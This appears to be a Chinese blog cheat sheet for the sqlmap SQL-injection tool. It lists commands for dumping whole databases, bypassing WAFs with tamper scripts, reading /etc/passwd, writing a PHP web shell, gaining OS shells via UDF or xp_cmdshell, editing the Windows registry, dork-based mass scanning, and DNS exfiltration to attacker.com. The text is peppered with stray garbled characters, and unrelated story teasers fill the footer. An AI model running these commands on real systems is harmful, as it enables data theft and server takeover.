sqlmap使用大全

Paste_Image.png
Paste_Image.png
Sqlmap的安裝:
#apt-get install git  
# git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 
在線升級(jí): #sqlmap –update
離線升級(jí):# git pull
指紋信息侣滩,查看一些版本

-f , --fingerprint, -b , --banner

--answer --check-waf --hpp --identify-waf
Paste_Image.png

--tamper參數(shù)繞過(guò)waf

http://blog.csdn.net/hxsstar/article/details/22782627

脫褲常用參數(shù)
--current-user 操作系統(tǒng)用戶
--current-db  當(dāng)前庫(kù)名
--dbs  所有庫(kù)名
--hostname   
--users      數(shù)據(jù)庫(kù)管理員
--privileges –U 查管理員權(quán)限(CU 表示當(dāng)前用戶)
--roles  查數(shù)據(jù)庫(kù)角色
–D dvwa --tables, --exclude-sysdbs 查表
-D dvwa -T users --columns   查users表中的列
--schema --batch --exclude-sysdbs 查information_schema中的表結(jié)構(gòu)
--batch表示過(guò)程中都選擇默認(rèn)選項(xiàng) --exclude-sysdbs表示忽略系統(tǒng)表罢缸,只查有價(jià)值的表
--count 對(duì)表計(jì)數(shù)

Dump脫褲,慎用颊艳!
--dump, -C, -T, -D, --start, --stop(部分脫褲)
--dump-all --exclude-sysdbs (直接都脫)
--sql-query "select * from users"(自己的命令脫褲)
當(dāng)數(shù)據(jù)庫(kù)管理員比較安全茅特,沒(méi)法順利脫褲,只能利用字典拆解表名列名:
--common-tables   --common-columns
Paste_Image.png
sqlmap之tamper腳本
--eval只能改變自己的變量
--tamper才能改變真正的payload

gedit my_tamper.py
cp my_tamper.py /usr/share/sqlmap/tamper/
sqlmap -u "http://127.0.0.1/index.php?id=1" --tamper="my_tamper.py" --os="linux" --dbms="mysql"  --random-agent  -v3 

其中my_tamper格式如下

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("'", "")
Sqlmap之操作系統(tǒng)命令執(zhí)行
--udf-inject  --shared-lib 
編譯共享庫(kù)并上傳實(shí)現(xiàn)UDF高級(jí)注入
Linux: share object文件   windows:DLL文件
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-systemfull-control-whitepaper-4633857

#--file-read="/etc/passwd"
#--file-write="shell.php" --file-dest "/tmp/shell.php" 

Mysql 和postgresql:上傳共享庫(kù)并生成sys_exec()棋枕、sys_eval()這兩個(gè)UDF
Mssql:利用xp_cmdshell白修,有就用,禁就啟重斑,沒(méi)有就新建

#--sql-shell (Mysql)
#--os-shell (postgresql)
#--os-cmd  (Mssql)

Windows下對(duì)注冊(cè)表的利用:
--reg-read (讀注冊(cè)表)
--reg-add  (寫注冊(cè)表)
--reg-del    (刪注冊(cè)表)
--reg-key --reg-value --reg-data --reg-type (注冊(cè)表參數(shù))
example:
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

通過(guò)get方式進(jìn)行sql注入掃描
#sqlmap -u “url” -p 指定變量名 
-users 查看數(shù)據(jù)庫(kù)管理賬號(hào)
 -f指紋探測(cè)數(shù)據(jù)庫(kù)類型 (通過(guò)get方式對(duì)url進(jìn)行注入)
--banner 查看數(shù)據(jù)庫(kù)版本信息 
--dbs(查看有哪些庫(kù)) 
-schema(查看schema庫(kù)來(lái)獲得所有庫(kù)表列結(jié)構(gòu)信息) 
-a(把能查的都查出來(lái))
批量掃描:

sqlmap -m list.txt -參數(shù) --參數(shù)

調(diào)用google api來(lái)掃描兵睛,國(guó)內(nèi)需要設(shè)置代理鏈:

sqlmap.py -g "inurl:".php?id=1"" --proxy="http://127.0.0.1:8087"

數(shù)據(jù)庫(kù)直連

sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f -users --banner --dbs --schema -a

sqlmap結(jié)合burpsuite使用post方式來(lái)注入
利用proxy截?cái)鄅ttp請(qǐng)求并保存為requst.txt (推薦)
#sqlmap -r request.txt
利用burp中的option設(shè)置,勾選保存proxy的request請(qǐng)求日志窥浪,保存為log.txt
#sqlmap -l log.txt
sqlmap支持https:

sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl

定義完各種情況下的掃描配置文件后祖很,直接引用掃描
#dpkg -L sqlmap | grep sqlmap.conf
#sqlmap -c sqlmap.conf
--data 和 cookie的設(shè)置
Paste_Image.png
sqlmap中http頭的一些設(shè)置
手動(dòng)指定:--user-agent=””  
調(diào)用sqlmap庫(kù)的--random-agent
Sqlmap檢查user-agent中的注入點(diǎn):--level=3(其實(shí)>=3都會(huì)檢查)
Host頭:--host=””(level=5)  
Referer頭:--referer=””  (level>=3)
額外的特殊頭:--headers="Host:www.a.com\nUser-Agent:yuanfh"
掃描時(shí)可以指定方法:--method=GET/POST
基于http協(xié)議的身份認(rèn)證,或者基于客戶端證書的認(rèn)證
Paste_Image.png
sqlmap的代理設(shè)置
--proxy="http://127.0.0.1:8087"  
若代理需要密碼; --proxy-cred="name:pass"
若是系統(tǒng)級(jí)的代理漾脂,但卻要掃內(nèi)網(wǎng): --ignore-proxy
比如用XX-net代理掃描:sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" --dbs
--delay --timeout --retries --randomize (超時(shí)保護(hù))
Paste_Image.png
--scope利用burp的日志結(jié)合正則表達(dá)式來(lái)篩選
--safe-url /--safe-freq 隔幾次注入就發(fā)一次正確的請(qǐng)求假颇,防止服務(wù)器銷毀seesion
Paste_Image.png
--skip-urlencode 對(duì)于一些特殊的服務(wù)器,提交數(shù)據(jù)時(shí)不接受url編碼
--eval特殊情況下符相,可以自己寫腳本來(lái)幫助自動(dòng)化處理
Paste_Image.png
性能優(yōu)化:--predict-output --keep-alive --null-connection --threads -o
Paste_Image.png
-p 指定注入?yún)?shù) –skip 跳過(guò)注入?yún)?shù) *來(lái)標(biāo)記url中隱藏的注入?yún)?shù)
Paste_Image.png
確定數(shù)據(jù)庫(kù)類型后可以用--dbms=’’ ’’來(lái)指定庫(kù)的類型拆融,從而大大提高效率:
Paste_Image.png
--os指定服務(wù)器操作系統(tǒng)化 --invalid-bignum / --invalid-logical 指定使參數(shù)失效的方式 --no-cast 對(duì)待老版mysql可能會(huì)用到
Paste_Image.png
--no-escape 取消默認(rèn)的sqlmap對(duì)注入時(shí)字符的char()編譯
--prefix “”/--suffix “”特殊情況下變量的取值格式特殊,需要加前綴和后綴
Paste_Image.png
--tamper 混淆腳本用于繞過(guò)waf啊终、IPS
#sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="between.py, randomcase.py, space2comment.py" -v 3
# dpkg -L sqlmap | grep tamper (找要引用的腳本)  
-v 3是為了顯示更加詳細(xì)的內(nèi)容
--level

1-5級(jí)(默認(rèn)1)
/usr/share/sqlmap/xml/payloads

--risk

1-4(默認(rèn)1/無(wú)害)
Risk升高可造成數(shù)據(jù)被篡改等風(fēng)險(xiǎn)(update)

--string, --not-string, --regexp, --code, --text-only, --titles

頁(yè)面比較镜豹,基于布爾的注入檢測(cè),依據(jù)返回頁(yè)面內(nèi)容的變化判斷真假邏輯蓝牲,但有些頁(yè)面隨時(shí)間閡值變化趟脂,此時(shí)需要人為指定標(biāo)識(shí)真假的字符串

默認(rèn)使用全部注入技術(shù)

B:Boolean一based blind
E:Error-based
U:Union query一based
S: Stacked queries(文件系統(tǒng)、操作系統(tǒng)例衍、注冊(cè)表必須)
T:Time一based blind

--time-sec

基于時(shí)間的盲注時(shí)延長(zhǎng)時(shí)間

--union-cols

默認(rèn)聯(lián)合查詢1一10列昔期,隨一evel增加最多支持50列,
也可--union-cols 6-9

--union-char

聯(lián)合查詢默認(rèn)使用null佛玄,極端情況下null可能失敗硼一,此時(shí)可以手動(dòng)指定數(shù)值
如:--union-char 123

--dns-domain

控制了dns服務(wù)器后可以用這個(gè)參數(shù)加快脫褲速度,--dns-domain attacker.com

--second-order

在一個(gè)頁(yè)面注入的結(jié)果梦抢,從另一個(gè)頁(yè)面體現(xiàn)出來(lái)時(shí)可以用
--second-order http://.....

--flush-session:清空session
--force-ssl
--fresh-queries:忽略session查詢結(jié)果
--hex:傳輸過(guò)程中自動(dòng)16進(jìn)制編碼般贼,返回后自動(dòng)解碼,隱蔽性
--save:將命令保存到指定目錄
--mobile --purge-output --smart --wizard
Paste_Image.png
--output-dir=/tmp
--parse-errors
Paste_Image.png
-s -t --charset --crawl --csv-del --dbms-cred
Paste_Image.png
Paste_Image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末奥吩,一起剝皮案震驚了整個(gè)濱河市哼蛆,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌霞赫,老刑警劉巖腮介,帶你破解...
    沈念sama閱讀 206,378評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異端衰,居然都是意外死亡叠洗,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門旅东,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)惕味,“玉大人,你說(shuō)我怎么就攤上這事玉锌∶樱” “怎么了?”我有些...
    開封第一講書人閱讀 152,702評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵主守,是天一觀的道長(zhǎng)禀倔。 經(jīng)常有香客問(wèn)我,道長(zhǎng)参淫,這世上最難降的妖魔是什么救湖? 我笑而不...
    開封第一講書人閱讀 55,259評(píng)論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮涎才,結(jié)果婚禮上鞋既,老公的妹妹穿的比我還像新娘力九。我一直安慰自己,他們只是感情好邑闺,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,263評(píng)論 5 371
  • 文/花漫 我一把揭開白布跌前。 她就那樣靜靜地躺著,像睡著了一般陡舅。 火紅的嫁衣襯著肌膚如雪抵乓。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,036評(píng)論 1 285
  • 那天靶衍,我揣著相機(jī)與錄音灾炭,去河邊找鬼。 笑死颅眶,一個(gè)胖子當(dāng)著我的面吹牛蜈出,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播涛酗,決...
    沈念sama閱讀 38,349評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼掏缎,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了煤杀?” 一聲冷哼從身側(cè)響起眷蜈,我...
    開封第一講書人閱讀 36,979評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎沈自,沒(méi)想到半個(gè)月后酌儒,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,469評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡枯途,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,938評(píng)論 2 323
  • 正文 我和宋清朗相戀三年忌怎,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片酪夷。...
    茶點(diǎn)故事閱讀 38,059評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡榴啸,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出晚岭,到底是詐尸還是另有隱情鸥印,我是刑警寧澤,帶...
    沈念sama閱讀 33,703評(píng)論 4 323
  • 正文 年R本政府宣布坦报,位于F島的核電站库说,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏片择。R本人自食惡果不足惜潜的,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,257評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望字管。 院中可真熱鬧啰挪,春花似錦信不、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,262評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至政己,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間掏愁,已是汗流浹背歇由。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留果港,地道東北人沦泌。 一個(gè)月前我還...
    沈念sama閱讀 45,501評(píng)論 2 354
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像辛掠,于是被迫代替她去往敵國(guó)和親谢谦。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,792評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,256評(píng)論 2 22
  • sqlmap用戶手冊(cè) 說(shuō)明:本文為轉(zhuǎn)載萝衩,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正回挽,并標(biāo)注對(duì)自己有用的信息。 ======...
    wind_飄閱讀 2,033評(píng)論 0 5
  • SQLMAP作用 判斷可注入的參數(shù) 判斷可以用哪種SQL注入技術(shù)來(lái)注入 識(shí)別出哪種數(shù)據(jù)庫(kù) 根據(jù)用戶選擇猩谊,讀取哪些數(shù)...
    陸灑脫閱讀 3,711評(píng)論 1 4
  • sqlmap也是滲透中常用的一個(gè)注入工具千劈,其實(shí)在注入工具方面,一個(gè)sqlmap就足夠用了牌捷,只要你用的熟墙牌,秒殺各種工...
    linkally閱讀 6,863評(píng)論 1 40
  • sqlmap也是滲透中常用的一個(gè)注入工具,其實(shí)在注入工具方面暗甥,一個(gè)sqlmap就足夠用了喜滨,只要你用的熟,秒殺各種工...
    查無(wú)此人asdasd閱讀 1,527評(píng)論 0 1